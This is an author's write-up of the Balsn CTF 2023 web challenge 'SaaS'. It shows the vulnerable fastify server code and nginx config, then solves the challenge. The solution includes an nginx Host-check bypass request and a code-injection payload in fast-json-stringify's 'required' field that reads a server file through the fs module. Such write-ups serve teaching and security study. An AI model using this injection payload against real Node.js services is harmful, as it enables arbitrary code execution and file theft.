---
title: '2023 Balsn CTF Web/Saas author Writeup'
disqus: hackmd
tags: note
---
# SaaS
<img src="https://hackmd.io/_uploads/r1IqunQ-p.png" width=400>
## Description
:::warning
Author's murmur warning! u can jump to [Overview](#Overview).
:::
- The challenge is inspired from [fastify document](https://fastify.dev/docs/latest/Reference/Validation-and-Serialization)

- The official doesn't support dynamic creation of schema validation by default, and fastify only precompile schema validation once when the server startup.
- I try to find the real use case or plugin that support dynamic schema/route creation, and the official doesn't like this proposal. see https://github.com/fastify/help/issues/149
- The package `fast-json-stringify` is used to create validator. Thus, I try to find any dependents which has any use case that creates validator from untrusted user input, and 404 not found.
<img src="https://hackmd.io/_uploads/H1hhd27Wp.png" width=400>
- Also, document mentions this [security notice](https://www.npmjs.com/package/fast-json-stringify?activeTab=readme#user-content-security-notice)
<img src="https://hackmd.io/_uploads/rkWRd2mZ6.png" width=500>
- But it is CTF,impractialty is ok, right? And deadline is approaching... That's make it a service to create dynamic schema!
- An additional part is nginx. Since ginoah estimated about 50~100 solves (`easy+++++++`), i comed up with it when i was reading document for solving ginoah's 1linenginx.
- Then ginoah and kaibro solved this part as soon as they read it. Only i learned it in 2023.
- Thus, the final difficulty is `easy++++++`.
## Overview
- The challenge is clear, try to find where we can inject code in something like `new Function(...)` when create custom schema validator.
```
const validatorFactory = require('@fastify/fast-json-stringify-compiler').SerializerSelector()()
const fastify = require('fastify')({
logger: true,
})
const {v4: uuid} = require('uuid')
const FLAG = 'the old one'
const customValidators = Object.create(null, {}) // no more p.p.
const defaultSchema = {
type: 'object',
properties: {
pong: {
type: 'string',
},
},
}
fastify.get(
'/',
{
schema: {
response: {
200: defaultSchema,
},
},
},
async () => {
return {pong: 'hi'}
}
)
fastify.get('/whowilldothis/:uid', async (req, resp) => {
const {uid} = req.params
const validator = customValidators[uid]
if (validator) {
return validator({[FLAG]: 'congratulations'})
} else {
return {msg: 'not found'}
}
})
fastify.post('/register', {}, async (req, resp) => {
// can only access from internal.
const nid = uuid()
const schema = Object.assign({}, defaultSchema, req.body)
customValidators[nid] = validatorFactory({schema})
return {route: `/whowilldothis/${nid}`}
})
fastify.listen({port: 3000, host: '0.0.0.0'}, function (err, address) {
if (err) {
fastify.log.error(err)
process.exit(1)
}
// Server is now listening on ${address}
})
```
- and we have to route request to `server_name` like `*.saas` but with HTTP header set to `Host: easy++++++`
```
server {
listen 80 default_server;
return 404;
}
server {
server_name *.saas;
if ($http_host != "easy++++++") { return 403 ;}
location ~ {
proxy_pass http://backend:3000;
}
}
```
## Solution
### Nginx
- Nginx part is trivial, from [document](http://nginx.org/en/docs/http/ngx_http_core_module.html#var_host)

- Nginx match `server_name` with `$host`, and it can be set by `request line`. Then below request bypass the check.
```
GET http://any.saas/ HTTP/1.1
Host: easy++++++
```
### fast-json-stringify
- open vscode, start debugger, trace code.
- I found `requiredProperty`
```
// handle extraneous required fields
for (const requiredProperty of required) {
if (requiredWithDefault.indexOf(requiredProperty) !== -1) continue
code += `if (obj['${requiredProperty}'] === undefined) throw new Error('"${requiredProperty}" is required!')\n`
}
```


- Then
```
POST http://a.saas/register HTTP/1.1
Host: easy++++++
Content-Type: application/json
Content-Length: 104
{"$id":"aaa","required":["'+global.process.mainModule.constructor._load('fs').readFileSync('/flag')+'"]}
HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Tue, 10 Oct 2023 08:59:27 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 63
Connection: keep-alive
{"route":"/whowilldothis/1c6c400d-94c6-438b-a410-7828f2e05aad"}
```
